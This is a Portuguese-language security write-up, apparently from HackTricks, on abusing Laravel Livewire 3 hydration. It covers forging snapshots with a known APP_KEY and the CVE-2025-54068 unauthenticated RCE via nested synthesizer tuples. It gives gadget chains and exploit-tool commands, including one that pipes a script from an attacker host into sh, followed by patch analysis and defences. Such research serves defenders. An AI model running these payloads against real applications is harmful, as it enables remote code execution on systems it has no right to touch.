Laravel Livewire Hydration & Synthesizer Abuse

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

Recapitulação da state machine do Livewire

Componentes Livewire 3 trocam seu estado por meio de snapshots que contêm data, memo e um checksum. Cada POST para /livewire/update rehidrata o snapshot JSON no lado do servidor e executa os calls/updates enfileirados.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Quem possuir APP_KEY (usada para derivar $hashKey) pode, portanto, forjar snapshots arbitrários recomputando o HMAC.

Propriedades complexas são codificadas como synthetic tuples detectados por Livewire\Drawer\BaseUtils::isSyntheticTuple(); cada tuple é [value, {"s":"<key>", ...meta}]. O core de hydration simplesmente delega cada tuple ao synth selecionado em HandleComponents::$propertySynthesizers e recursivamente percorre os filhos:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Este design recursivo faz do Livewire um generic object-instantiation engine assim que um atacante controla o metadado da tupla ou qualquer tupla aninhada processada durante a recursão.

Synthesizers que concedem gadget primitives

SynthesizerComportamento controlado pelo atacante
CollectionSynth (clctn)Instancia new $meta['class']($value) depois de reidratar cada child. Qualquer class com um constructor de array pode ser criada, e cada item também pode ser uma synthetic tuple.
FormObjectSynth (form)Chama new $meta['class']($component, $path), depois atribui cada public property a partir de children controlados pelo atacante via $hydrateChild. Constructors que aceitam dois parâmetros de tipo frouxo (ou default args) bastam para alcançar arbitrary public properties.
ModelSynth (mdl)Quando key está ausente de meta, executa return new $class;, permitindo instantiation sem argumentos de qualquer class sob controle do atacante.

Como os synths invocam $hydrateChild em cada elemento aninhado, arbitrary gadget graphs podem ser construídos empilhando tuples recursivamente.

Forjando snapshots quando APP_KEY é conhecido

  1. Capture uma requisição legítima /livewire/update e decodifique components[0].snapshot.
  2. Injete nested tuples que apontem para gadget classes e recalcule checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode o snapshot, mantenha _token/memo intocados, e reenvie a requisição.

Uma proof of execution mínima usa Guzzle’s FnStream e Flysystem’s ShardedPrefixPublicUrlGenerator. Uma tuple instancia FnStream com dados do constructor { "__toString": "phpinfo" }, a próxima instancia ShardedPrefixPublicUrlGenerator com [FnStreamInstance] como $prefixes. Quando o Flysystem faz cast de cada prefix para string, o PHP invoca o callable __toString fornecido pelo atacante, chamando qualquer function sem argumentos.

De function calls para full RCE

Aproveitando as instantiation primitives do Livewire, a Synacktiv adaptou a chain Laravel/RCE4 do phpggc para que a hydration inicialize um object cuja public Queueable state aciona deserialization:

  1. Queueable trait – qualquer object que use Illuminate\Bus\Queueable expõe public $chained e executa unserialize(array_shift($this->chained)) em dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) é instanciado via CollectionSynth / FormObjectSynth com public $chained preenchido.
  3. phpggc Laravel/RCE4Adapted – o serialized blob armazenado em $chained[0] constrói PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finalmente chama call_user_func_array($closure, $args), permitindo system($cmd).
  4. Stealth termination – ao passar um segundo callable de FnStream como [new Laravel\Prompts\Terminal(), 'exit'], a request termina com exit() em vez de uma exception ruidosa, mantendo a HTTP response limpa.

Automatizando a snapshot forgery

synacktiv/laravel-crypto-killer agora inclui um modo livewire que une tudo:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

A ferramenta analisa o snapshot capturado, injeta as tuplas gadget, recalcula o checksum e imprime um payload /livewire/update pronto para enviar.

CVE-2025-54068 – RCE without APP_KEY

De acordo com o advisory do vendor, o issue afeta Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) e é exclusivo da v3.

updates são mesclados ao estado do component depois que o snapshot checksum é validado. Se uma property dentro do snapshot for (ou se tornar) uma synthetic tuple, o Livewire reutiliza seus meta enquanto faz hydrating do valor de update controlado pelo attacker:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Receita de exploração:

  1. Encontre um componente Livewire com uma propriedade pública sem tipo (por exemplo, public $count;).
  2. Envie uma atualização que defina essa propriedade como []. O próximo snapshot agora a armazena como [[], {"s": "arr"}].

Um fluxo mínimo de type-juggling fica assim:

POST /livewire/update
...
"updates": {"count": []}

Depois, o próximo snapshot armazena uma tuple que mantém os metadados do synthesizer arr:

"count": [[], {"s": "arr"}]
  1. Crie outro payload de updates no qual essa propriedade contenha um array profundamente aninhado, embutindo tuples como [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Durante a recursão, hydrate() avalia cada filho aninhado de forma independente, então synth keys/classes escolhidos pelo atacante são respeitados, mesmo que a tuple externa e o checksum nunca tenham mudado.
  3. Reutilize os mesmos primitives CollectionSynth/FormObjectSynth para instanciar um gadget Queueable cujo $chained[0] contém o payload do phpggc. O Livewire processa as updates forjadas, invoca dispatchNextJobInChain(), e alcança system(<cmd>) sem conhecer APP_KEY.

Principais motivos de isso funcionar:

  • updates não são cobertos pelo checksum do snapshot.
  • getMetaForPath() confia em quaisquer metadados synth que já existiam para aquela propriedade, mesmo se o atacante a tiver forçado previamente a se tornar uma tuple por meio de weak typing.
  • Recursão mais weak typing permite que cada array aninhado seja interpretado como uma nova tuple, então synth keys arbitrárias e classes arbitrárias acabam chegando à hydration.

Target pre-auth de alto valor: Filament login forms

Applications construídas em cima de Livewire frequentemente expõem uma superfície pre-auth ainda mais fácil do que uma propriedade public $count; de exemplo. Por exemplo, páginas de login do Filament normalmente hidratam um objeto $form com tipagem fraca, que já está serializado como uma tuple form no snapshot. Isso remove completamente a etapa de setup “scalar -> array -> arr tuple”:

  • O snapshot já contém algo como {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • Um atacante pode enviar updates.form com tuples maliciosas aninhadas diretamente, porque a recursão eventualmente reinterpretará filhos como [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}].
  • É por isso que entrypoints pre-auth do Livewire que expõem objetos FormObjectSynth são especialmente atraentes: eles já fornecem tanto a instanciação quanto a atribuição de propriedades públicas.

Análise do patch: preservar metadados raw durante a recursão de update

A correção introduz um caminho dedicado hydratePropertyUpdate() para que valores de updates aninhados não chamem mais hydrate($child, ...) genérico em filhos controlados pelo atacante:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Impacto de segurança do patch:

  • Atualizações aninhadas são revalidadas contra o caminho original do raw snapshot, em vez de confiar em novos metadados de tupla fornecidos pelo atacante.
  • A hydration recursiva não permite mais que children redefinam s ou class no meio do processamento.
  • Isso bloqueia tanto a troca arbitrária de synthesizer quanto a seleção arbitrária de class dentro de arrays de atualização aninhados.

Livepyre – exploração end-to-end

Livepyre automatiza tanto a CVE sem APP_KEY quanto o caminho de signed-snapshot:

  • Faz fingerprint da versão do Livewire implantada analisando <script src="/livewire/livewire.js?id=HASH"> (ou ?v=HASH) e mapeando o hash para releases vulneráveis.
  • Coleta snapshots de base reproduzindo ações benignas e extraindo components[].snapshot.
  • Gera um payload apenas de updates (CVE-2025-54068) ou um snapshot forjado (APP_KEY conhecido) incorporando a cadeia phpggc.
  • Se nenhum parâmetro tipado como object for encontrado em um snapshot, o Livepyre recorre a brute-forcing de parâmetros candidatos para alcançar uma propriedade coercible.

Uso típico:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check executa uma probe não destrutiva, -F ignora o version gating, -H e -P adicionam custom headers ou proxies, e --function/--param personalizam a php function invocada pela gadget chain.

Considerações defensivas

  • Faça upgrade para builds do Livewire corrigidos (>= 3.6.4 de acordo com o vendor bulletin) e aplique o patch do vendor para CVE-2025-54068.
  • Evite public properties com tipagem fraca em componentes do Livewire; tipos escalares explícitos impedem que os values das properties sejam coerçados para arrays/tuples.
  • Registre apenas os synthesizers de que você realmente precisa e trate metadados controlados pelo usuário ($meta['class']) como untrusted.
  • Rejeite updates que alterem o JSON type de uma property (por exemplo, scalar -> array) a menos que isso seja explicitamente permitido, e re-derive synth metadata em vez de reutilizar tuples stale.
  • Faça rotate do APP_KEY imediatamente após qualquer disclosure, porque ele permite offline snapshot forging independentemente de quão patchado o code-base esteja.

References

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks